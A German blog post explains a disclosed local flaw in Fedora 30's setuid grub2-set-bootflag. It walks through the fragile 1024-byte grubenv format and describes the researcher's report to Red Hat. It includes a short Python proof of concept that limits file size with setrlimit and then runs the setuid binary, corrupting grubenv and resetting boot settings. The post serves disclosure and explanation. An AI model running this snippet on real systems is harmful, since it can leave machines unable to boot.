Travis Ormandy, genau der vom Google Security Team, hat bei Red Hat und Fedora im April 2019 einen Securityreport eingebracht, daß eine Änderung zum Setzen von Bootflags, jetzt die Tendenz hat, extrem leicht dem Bootprozess zu stören.
SUID für grub2-set-bootflag
„grub2-set-bootflag“ ist ein Befehl aus der Bootloaderedition, der zwei Argumente annimmt. Aufrgund der Argumente verorte ich das mal im FastBootBereich des Systemstarts, weil es augenscheinlich um so Sachen wie schnelleres Laden, wenn Booten schon einmal erfolgreich war, geht.
Das Problem
$ ls -l `which grub2-set-bootflag`
-rwsr-xr-x. 1 root root 20272 Oct 10 00:35 /usr/sbin/grub2-set-bootflag
Wie man unschwer sehen kann, ist das ein Programm, daß man als User ausführen kann und dann Dinge als Root tut. Um genau zu sein, es schreibt eine Bootoption in die grubenv abhängig vom Argument. Ohne erst einmal ein halbes Dutzend Bugreports zu lesen, die grubenv enthält so Sachen wie „welchen Kernel soll ich booten“ und ist extrem anfälliger Bockmist.
Ja,Ja, ich hörs schon wieder, ich soll nicht so auf anderer Leute Arbeit rumhacken 🙂 Also erkläre ich das mal, dann verstummt Ihr von alleine 😉 Das ist Bockmist weil, die grubenv muß EXAKT 1024 Zeichen lang sein, um vom Bootloader verarbeitet werden zu können. Ist sie kleiner oder größer, wird sie ignoriert … und auch nie wieder beim Update der Bootconfig gefixt.
Woher ich das weiß, na von dem halben Dutzend Bugreports über die letzten Jahre, die Andere und ich zu dem Thema bei Red Hat abgesetzt haben und Ihr könnt mir glauben, die ziehen sich extrem unnötig in die Länge.
Immer mal wieder passiert es nämlich, daß grubby die grubenv selbst sabotiert. Unwissentlich passiert das, wenn jemand von Hand an der grubenv rumeditiert um z.b. einen anderen Kernel einzustellen. Macht das nicht! Nehmt Grubby dafür! Grubby: wie man wieder einen Default Kernel setzen kann
Um die exakte Dateilänge von 1024 zu erreichen, wird in die grubenv eine Reihe von abgezählten „#“ Padzeichen eingefügt. Könnt ja mal reinsehen. Wenn jetzt also jemand dort Optionen einbringt und der Grubenv-Block wird zu groß, oder zu klein, dann fällt das System auf die Defaults zurück.
Was im Zweifel bedeutet: Es bootet nicht mehr!
Welchen Grund wird es wohl gehabt haben, daß jemand einen anderen Kernel eingetragen hat? Genau 😉
Boot Loader Specification
Mit Fedora 30 wurde im Bootbereich auch Einiges geändert, so stehen die Kernels nicht mehr in der grub.conf drin, sondern finden sich jetzt in /boot/loader/entries/ als einzelne Dateien wieder und die saved_entry Variable in der grubenv referenziert nur noch einen dortigen Dateinamen.
Jetzt kommt Travis ins Spiel
Travis hat also aufmerksam die Publikationen von Fedora verfolgt und stolperte über das Problem mit dem Setuid. Damit kann nämlich jeder Benutzer, und damit Programm, diesen Grub2 Befehl ausführen. Würde das mit der grubenv stabil laufen, wäre das noch kein Problem.
Jetzt hat Travis aber einen Weg ersonnen, wie man als User die grubenv unbrauchbar machen kann, indem man z.b. das Padding zerstört ( siehe Bockmist oben ).
$ sudo egrep -bo ‚^##‘ /boot/grub2/grubenv
322:##
Zum Ermitteln wieviele ## da als Padding drin sind. Es geht aber auch pauschal mal eine 10 Byte lange Datei , kommt aufs gleiche raus.
python
Python 2.7.16 (default, Apr 30 2019, 15:54:43)
[GCC 9.0.1 20190312 (Red Hat 9.0.1-0.10)] on linux2
Type \“help\“, \“copyright\“, \“credits\“ or \“license\“ for more information.
>>> import resource
>>> import os
>>> resource.setrlimit(resource.RLIMIT_FSIZE, (323,323))
>>> os.execlp(\“grub2-set-bootflag\“, \“grub2-set-bootflag\“, \“menu_show_once\“)
Error flushing /boot/grub2/grubenv: File too large
Das Pythonbeispiel begrenzt also die Filelänge für sich und alle Subprozesse und Ihr ahnt es schon, das wirkt sich auch auf den per SUID aufgerufenen Prozess von Grub aus.
Ergebnis: Grubenv zerstört, Booteinstellungen auf Defaults zurückgesetzt und ggf. System damit unbrauchbar gemacht.
Und weil man das auch absichtlich zerstörerisch einsetzen kann, hat Travis das an Security@Redhat geschickt. Fedora und Red Hat haben es bis heute ignoriert. Heute lief der Full-Disclosure Timer aus, mal sehen ob jetzt was passiert.
Für Grubunzulänglichkeiten können Red Hat und Fedora natürlich nichts, aber man muß ja nicht noch Öl ins Feuer kippen. Vor F30 wurde es mit mit pkexec ausgeführt, was sich besser auf bestimmte Prozesse oder Benutzer einschränken läßt. Warum das geändert wurde bleibt in einer dunklen Developer-Mailingliste verborgen 😉